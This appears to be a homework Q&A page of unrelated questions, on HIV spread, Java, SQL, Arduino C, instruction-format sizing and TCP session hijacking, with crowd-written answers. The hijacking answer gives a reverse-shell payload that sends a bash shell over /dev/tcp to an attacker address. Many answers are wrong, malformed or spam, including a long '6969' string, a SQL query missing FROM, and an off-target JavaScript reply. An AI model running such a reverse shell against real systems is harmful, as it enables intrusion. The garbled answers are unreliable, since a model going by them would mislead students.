By the 1970s, the acceleration of airplane travel led to fears that an epidemic would leapfrog the globe much faster than the pandemics of the Middle Ages, fears that were confirmed beginning in the 1970s by the worldwide spread of:________
a. the Zika virus.
b. the HIV infection
c. severe acute respiratory syndrome (SARS)
d. the Asian flu virus
e. Ebola

Answers

Answer 1

Answer:

b. the HIV infection.

Explanation:

Around the 1970s, an increase in the use of airplane travel led to fears that an epidemic would leapfrog the globe much faster than the pandemics such as tuberculosis, leprosy, smallpox, trachoma, anthrax, scabies, etc., that were evident during the Middle Ages, fears that were later confirmed by the worldwide spread of the HIV infection, beginning in the 1970s in the United States of America.

STD is an acronym for sexually transmitted disease and it can be defined as diseases that are easily transmissible or contractable from another person through sexual intercourse. Thus, STD spread from an infected person to an uninfected person while engaging in unprotected sexual intercourse. Some examples of STDs are gonorrhea, chlamydia, syphilis, HIV, etc.

HIV is an acronym for human immunodeficiency virus and it refers to a type of disease that destabilizes or destroy the immune system of a person, thus, making it impossible for antigens to effectively fight pathogens.

Generally, contracting STDs has a detrimental effect to a patient because it causes an opening (break) or sore in the body of the carrier (patient) and as such making them vulnerable to diseases that are spread through bodily fluids e.g human immunodeficiency virus (HIV), Hepatitis, staphylococcus, AIDS, etc.


Related Questions

What does the following code print?
public class { public static void main(String[] args) { int x=5 ,y = 10; if (x>5 && y>=2) System.out.println("Class 1"); else if (x<14 || y>5) System.out.println(" Class 2"); else System.out.println(" Class 3"); }// end of main } // end of class.

Answers

Answer:

It throws an error.

the public class needs a name.

like this:

public class G{ public static void main(String[] args) {

   int x=5 , y = 10;

   if (x>5 && y>=2) System.out.println("Class 1");

   else if (x<14 || y>5) System.out.println(" Class 2");

   else System.out.println(" Class 3"); }// end of main

   }

if you give the class a name and format it, you get:

Class 2

Explanation:

Whatever programming language you use will ultimately need to be translated into binary in order for the computer to understand it.

a. True
b. False

Answers

Answer:

Javascript:

function translate(what) {

if (what) {

return 1;

} else if (!what) {

return 0;

}

}

translate(true);

Explanation:

True is 1;

False is 0;

Multiply the following two Tom's Tiny floating-point format numbers (8-bit: sign bit, 3-bit 2's complement exponent, 4-bit fraction). Make sure to correctly round the result before putting the answer back in the 8-bit format.

A = 10010011
B = 10101000
AxB = _______

Answers

Answer:

A*B =  00111100

Explanation:

Given data :

A = 10010011

B = 10101000

Find A * B

For A = 10010011  express in sign bit , exponent and number

repeat same process for B

attached below is a detailed solution

A*B =  00111100

Which of the following is not a way to build customer loyalty

Answers

Answer: are there option choices? If not I would say

1. not giving back enough change

2. Being rude

3. not giving the right prices

4. Not answering questions

Explanation: hope this helps, have a great day!!

The following implementations of the method reverse are intended to reverse the o rder of the elements in a LinkedList.

I.
public static void reverse (LinkedList alist)( LinkedList temp = new LinkedList (); while (aList.size ()>0) temp.addLast (aList.removeFirst ) aList.addFirst (temp.removeFirst ) while (temp.size ()> o)
II.
public static void reverse (LinkedList alist) while (aList.size () >0) while (Itemp.isEmpty 0) QueuecSomeType> temp new LinkedList 0: temp.add (alist.removeFirst ()): aList.addFirst (temp.remove ():

IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());

Which of the choices above perform the intended task successfully? Why?

a. I only
b. Il only
c. Ill only
d. Il and Ill only
e. I, ll, and IlI

Answers

Answer:

c. Ill only

Explanation:

All of the code snippets provided are missing small details such as brackets in the correct places and '=' to signal an assignment. These are crucial when coding in Java and the code will not run without it. Regardless, the only implementation that is correct in the options would be implementation III. It is the only code snippet that is correctly structured to reverse the order of the elements. It will still need debugging in order to get it to work.

IlI.

public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());

Suppose that you are asked to modify the Stack class to add a new operation max() that returns the current maximum of the stack comparable objects. Assume that pop and push operations are currently implemented using array a as follows, where item is a String and n is the size of the stack. Note: if x andy are objects of the same type, use x.compareTo(y) to compare the objects x and y public void push String item ) { [n++] = iten; } public String pop { return al--n]; } Implement the max operation in two ways, by writing a new method using array a (in 8.1), or updating push and pop methods to track max as the stack is changed (in 8.2). Q8.1 Implement method maxi 5 Points Write a method max() using Out) space and Oin) running time. public String max() {...} Enter your answer here Q8.2 Update push() and popo 5 Points Write a method max() using On) space and 011) run time. You may update the push and pop methods as needed public void push {...} public String pop() {...} public String max() {...}

Answers

Answer:

Following are the code to the given points:

Explanation:

For point 8.1:

public String max()//defining a method max

{

   String maxVal=null;//defining a string variable that holds a value

   for(int x=0;x<n;x++)

   {

       if(maxVal==null || a[i].compareTo(maxVal)>0)//defining if blok to comare the value

       {

           maxVal=a[i];//holding value in maxVal variable

       }

   }

   return maxVal;//return maxVal variable value

}

For point 8.2:

public void push(String item)//defining a method push that accepts item value in a parameter

{

       a[n]=item;//defining an array to hold item value

       if(n==0 || item.compareTo(maxVals[n-1])>0)//use if to comare item value

       {

               maxVals[n]=item;//holding item value in maxVals variable

       }

       else

       {

               maxVals[n]=maxVals[n-1];//decreasing the maxVals value

       }

       n++;//incrementing n value

}

public String pop()//defining a method pop

{

       return a[--n];//use return value

}

public String max()//defining a method max

{

       return maxVals[n-1];//return max value

}

In the first point, the max method is declared that compares the string and returns its max value.In the second point, the push, pop, and max method are declared that works with their respective names like insert, remove and find max and after that, they return its value.

The following Integer values are pushed onto a stack, s. The values are pushed onto s in the order that they appear below (left to right).

1 7 4 6 10 9

Assume the following declaration has been made.
PriorityQueue priQue new PriorityQueuecinteger> :

Values are popped off the stack, s, and as each value is popped off the stack, it is inserted into the priority queue, priQue. The following code is then executed.

while (!priQueue.isEmpty()){
System.out.println (priQue.remove ())

The numbers printed to the screen would be: ______

Answers

Answer:

9 10 6 4 7 1

Explanation:

When the values are pushed to the stack they would end up in the stack in the same order as they go in.

1 7 4 6 10 9

when elements are popped from a stack they are removed from the end to the beggining of the stack, and since these elements are being added to the priorityQueue then priQue will have the following order

9 10 6 4 7 1

this will also be the order that the numbers will be printed out from left to right since priorityQueue remove method, removes the elements from left to right.

what is the mean of debugging​

Answers

Answer:

the process of identifying and removing errors from computer hardware or software

Explanation:

Essentially just fixing programming errors, mainly in coding or software

How do you write a poem on the topic 'I am good at singing'? answer and get 100 points

Answers

Answer:

ur mom

Explanation:

Why is it best to serve cheese with plain breads or crackers?

Answers

Answer:Here's why it works: Club crackers are engineered to be the perfect amount of buttery and salty, which means that, sometimes, they're all you can taste if paired with the wrong cheese.

Explanation:

¿sharpness or unbreaking people?​

Answers

Really hard decision, but ultimately, it depends on your personal prefrence. I would choose un breakin, however, for some people if you want to kill mobs quicker, than sharpness would be the way to go.

How can getchar function be used to read multicharacter strings?​

Answers

69696969696969969696969696966969696969696V69696969696969969696969696966969696969696VVVV696969696969699696969696969669696969696966969696969696996969696969696696969696969669696969696969969696969696966969696969696V69696969696969969696969696966969696969696V6969696969696996969696969696696969696969669696969696969969696969696966969696969696V69696969696969969696969696966969696969696VVVV696969696969699696969696969669696969696966969696969696996969696969696696969696969669696969696969969696969696966969696969696V69696969696969969696969696966969696969696V6969696969696996969696969696696969696969669696969696969969696969696966969696969696V69696969696969969696969696966969696969696VVVV696969696969699696969696969669696969696966969696969696996969696969696696969696969669696969696969969696969696966969696969696V69696969696969969696969696966969696969696V69696969696969969696969696966969696969696

what are the events?

Answers

Answer:

a thing that happens or takes place, especially one of importance.

Construct a SQL query that displays a list of colleges, their sity/state, the accrediting agency, and whether or not the school is distance only. Only show the first 10 records.

Answers

Answer:

SELECT college, city_state, accre_agency, distance LIMIT 10

Explanation:

Given

Table name: College

See attachment for table

Required

Retrieve top 10 college, state, agency and school distance from the table

To retrieve from a table, we make use of the SELECT query

The select statement is then followed by the columns to be selected (separated by comma (,))

So, we have:

SELECT college, city_state, accre_agency, distance

From the question, we are to select only first 10 records.

This is achieved using the LIMIT clause

i.e. LIMIT 10 for first 10

So, the complete query is:

SELECT college, city_state, accre_agency, distance LIMIT 10

Explain why robots are better at some jobs than human workers are.

Answers

Answer:

Because humans have human minds meaning there are chances of errors, and or mistakes. and they do the same thing over and over with precise precision

Explanation:

hope this helps :)

I wish we could visit Paris for the holidays into exclamatory​

Answers

Answer:

wdym

Explanation:

You want to visit Paris ? Tbh is sould fun and interesting

In the following cell, we've loaded the text of Pride and Prejudice by Jane Austen, split it into individual words, and stored these words in an array p_and_p_words. Using a for loop, assign longer_than_five to the number of words in the novel that are more than 5 letters long. Hint: You can find the number of letters in a word with the len function.

Answers

Answer:

Explanation:

Since the array is not provided, I created a Python function that takes in the array and loops through it counting all of the words that are longer than 5. Then it returns the variable longer_than_five. To test this function I created an array of words based on the synapse of Pride and Prejudice. The output can be seen in the attached picture below.

def countWords(p_and_p_words):

   longer_than_five = 0

   for word in p_and_p_words:

       if len(word) > 5:

           longer_than_five += 1

   return longer_than_five

The moment that S-locks are released will determine:__________

a. The granularity of locks
b. The compliance with ACID
c. The look-ahead logging strategy
d. The anomalies that can happen

Answers

Answer:

A.

Explanation:

In computer science, the selection of a lockable device is an essential consideration in the creation of a database management system.

Granularity locking is a locking technique that is applied in database management systems (DBMS) as well as relational databases. The granularity of locks corresponds to how much data is locked at once, and it is determined when S lock (Shared Locks) are released.

The moment that S-locks are released will determine the granularity of locks (Option a).

A lock can be defined as a procedure capable of enforcing limits on access to a particular resource when there exist many threads of execution.

Multiple granularity locking (abbreviated as MGL) is a locking strategy employed in database management systems and also in relational databases.

This strategy (multiple granularity locking) is often used in order to ensure serializability.

In conclusion, the moment that S-locks are released will determine the granularity of locks (Option a).

Learn more in:

https://brainly.com/question/15691389

16238)
Which type of device often controls iot
tasks?
Desktop
Laptop
Samart phone
switch

Answers

Answer:

Consumer connected devices include smart TVs, smart speakers, toys, wearables and smart appliances. Smart meters, commercial security systems and smart city technologies -- such as those used to monitor traffic and weather conditions -- are examples of industrial and enterprise IoT devices.

A database designer wants to create three tables: Supplier, Product, and Country. The Supplier table has a Countryld column with values that must appear in the Country table's Countryld column. The Product table has an auto-increment column.
Which table's CREATE TABLE statement(s) must specify a FOREIGN KEY?
a. Supplier
b. Product
c. Country
d. Supplier and Country

Answers

Answer:

(a) Supplier

Explanation:

In database design, two tables are linked together using a FOREIGN KEY. A foreign key is formed from one or more columns of one table that reference or match another key (often called a primary key) in another table. In other words, when a column or a combination of columns on one table points to a primary key of another table, the column(s) will specify the foreign key.

PS: A primary key is used to make each entry of a table unique.

In the given tables - Supplier, Product, Country -  since the Supplier table has a column called CountryId referencing the CountryId column of the Country table, then CountryId is a primary key in Country table but a foreign key in Supplier table.

Therefore, the CREATE TABLE statement(s) of the Supplier table must specify a foreign key.

A database management system often reads and writes data in a database, and makes sure there is consistency and availability. The supplier table's CREATE TABLE statement(s) must specify a FOREIGN KEY.

The database system often guards data when a lot of transactions is taking place.   it often hinders multiple transactions with the same data at the same time.

The Select SQL statement does not alter any database data. A supplier database is made up of different list of service, product or materials providers who can meet orders quickly.

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Q : Write a simple code, which basically takes a integer value from PC terminal and calculates the solutions on Arduino board and replays the answers to the PC terminal.


a. Power of given value.


b. If number is prime number or not.


you should upload your answers with *.c file with necessary comments.

Answers

Answer:

I have uploaded my answers with *.c file with necessary comments.

Explanation:

a. Power of given value.

A

#include <stdio.h>

int main() {

int base, exp;

long long result = 1;

printf("Enter a base number: ");

scanf("%d", &base);

printf("Enter an exponent: ");

scanf("%d", &exp);

while (exp != 0) {

result *= base;

--exp;

}

printf("Answer = %lld", result);

return 0;

}

b. If number is prime number or not.

#include <stdio.h>

int main() {

int n, i, flag = 0;

printf("Enter a positive integer: ");

scanf("%d", &n);

for (i = 2; i <= n / 2; ++i) {

// condition for non-prime

if (n % i == 0) {

flag = 1;

break;

}

}

if (n == 1) {

printf("1 is neither prime nor composite.");

}

else {

if (flag == 0)

printf("%d is a prime number.", n);

else

printf("%d is not a prime number.", n);

}

return 0;

}

Hope this helps!!!

A digital computer has a memory unit with 16 bits per word. The instruction set consists of 72 different operations. All instructions have an operation code part(opcode) and an address part(allowing for only one address). Each instruction is stored in one word of memory.

Required:
a. How many bits are needed for the opcode?
b. How many bits are left for the address part of the instruction?
c. What is the maximum allowable size for memory?
d. What is the largest unsigned binary number that can be accommodated in one word of memory?

Answers

Answer:

a. 7 bits b. 9 bits c. 1 kB d. 2¹⁶ - 1

Explanation:

a. How many bits are needed for the opcode?

Since there are 72 different operations, we require the number of bits that would contain 72 different operations. So, 2ⁿ ≥ 72

72 = 64 + 8 = 2⁶ + 8

Since n must be an integer value, the closest value of n that would contain 72 different operations is n = 7. So, 2⁷ = 128

So, we require 7 bits for the opcode.

b. How many bits are left for the address part of the instruction?

bits left = bits per word - opcode bit = 16 - 7 = 9 bits

c. What is the maximum allowable size for memory?

Since there are going to be 2⁹ bits to addresses each word and 16 bits  for each word, the maximum allowable size for memory is thus 2⁹ × 16 = 512 × 16 = 8192 bits.

We convert this to bytes

8192 bits × 1 byte/8 bits = 1024 bytes = 1 kB

d. What is the largest unsigned binary number that can be accommodated in one word of memory?

Since the number go from 0 to 2¹⁶, the largest unsigned binary number that can be accommodated in one word of memory is thus

2¹⁶ - 1

Consider the following pseudocode.
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum

What is the output?

Answers

Considering the pseudocode :

i = 0

sum = 0

REPEAT UNTIL i = 4

i = 1

sum++

DISPLAY sum

The output of the pseudocode will be 4.

pseudocode

pseudocode  is a plain language description of the steps in an algorithm or another system.

Let's write the code in python.

i = 0

sum = 0

while i < 4:

   sum += 1

   i += 1

print(sum)

Code explanation:The first line of code, we initialise i as zero.The sum was also initialise as zero.Then we use the while loop to loop through i until its less than 4.Then we add one to the sum for each loop.Then, increase the value of i to continue the loop.Finally, we print the sum.

learn more on pseudocode here : https://brainly.com/question/17101205

There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:
• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.

Answers

Answer:

Answer is mentioned below.

Explanation:

Source IP and Destination IP: 10.0.2.5, 10.0.2.9 Source port and Destination port: for source port, we need to sniffer a packet in this  Sequence number: 3001 The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”

I hope you find the answer helpful. All the codes are correctly mentioned. Thanks

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